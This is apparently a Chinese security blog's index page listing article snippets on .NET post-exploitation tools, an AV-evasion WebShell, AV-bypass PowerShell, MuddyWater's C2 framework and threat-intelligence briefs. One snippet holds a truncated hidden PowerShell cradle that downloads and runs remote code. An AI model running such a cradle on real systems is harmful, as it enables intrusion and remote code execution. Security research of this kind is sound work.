.NET 一款通过rundll32执行PowerShell的工具
01阅读须知此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所...
admin
.NET内网实战：通过调用系统的API接口模拟实现PowerShell
01阅读须知此文所节选自小报童《.NET 内网实战攻防》专栏，主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧，对内网和后渗透感兴趣的朋友们可以订阅该电子报...
论文分享 | 3篇研究成果在国际顶级会议ACM CCS 2024中宣讲报告
在刚刚结束的网络安全国际顶级会议CCS (The ACM Conference on Computer and Communications Security) 2024中，星图实...
.NET 一款通过API实现的免杀WebShell
01阅读须知此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所...
威胁情报周报（10.14~10.20）
一周威胁情报摘要金融威胁情报勒索软件攻击泄露了超过23万名康卡斯特客户的社会安全号码政府威胁情报美国政府试图追回朝鲜 Lazarus Group 窃取的超过267万美元加密货币能源...
.NET 一款内网渗透中替代PowerShell的工具
01阅读须知此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所...
PhonyC2：揭示MuddyWater的新恶意命令和控制框架
1. 摘要Deep Instinct的威胁研究团队已经确定了一个新的C2(命令与控制)框架，C2框架是定制的，持续开发的，至少从2021年起就被MuddyWater集团使用，该框架...
去除您的烦恼——Windows激活脚本 (MAS)
一、历史的苦恼很多人包括我在内，一直饱受激活提示的苦恼，晚上也有很多所谓的破解激活软件，下载到本地以后，通过病毒扫描软件一查杀，提示都是病毒。1.随机搜索windows激活工具下载...
Bypass_AV - Powershell命令免杀.md
0x01 前言powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('...
维他命每日安全简讯（2023.08.18）
每日头条1、Cofense披露主要针对美国某能源公司的二维码钓鱼活动 Cofense在8月16日披露了一场利用二维码的大型钓鱼活动，主要针对美国的一家大型能源公司。该活动...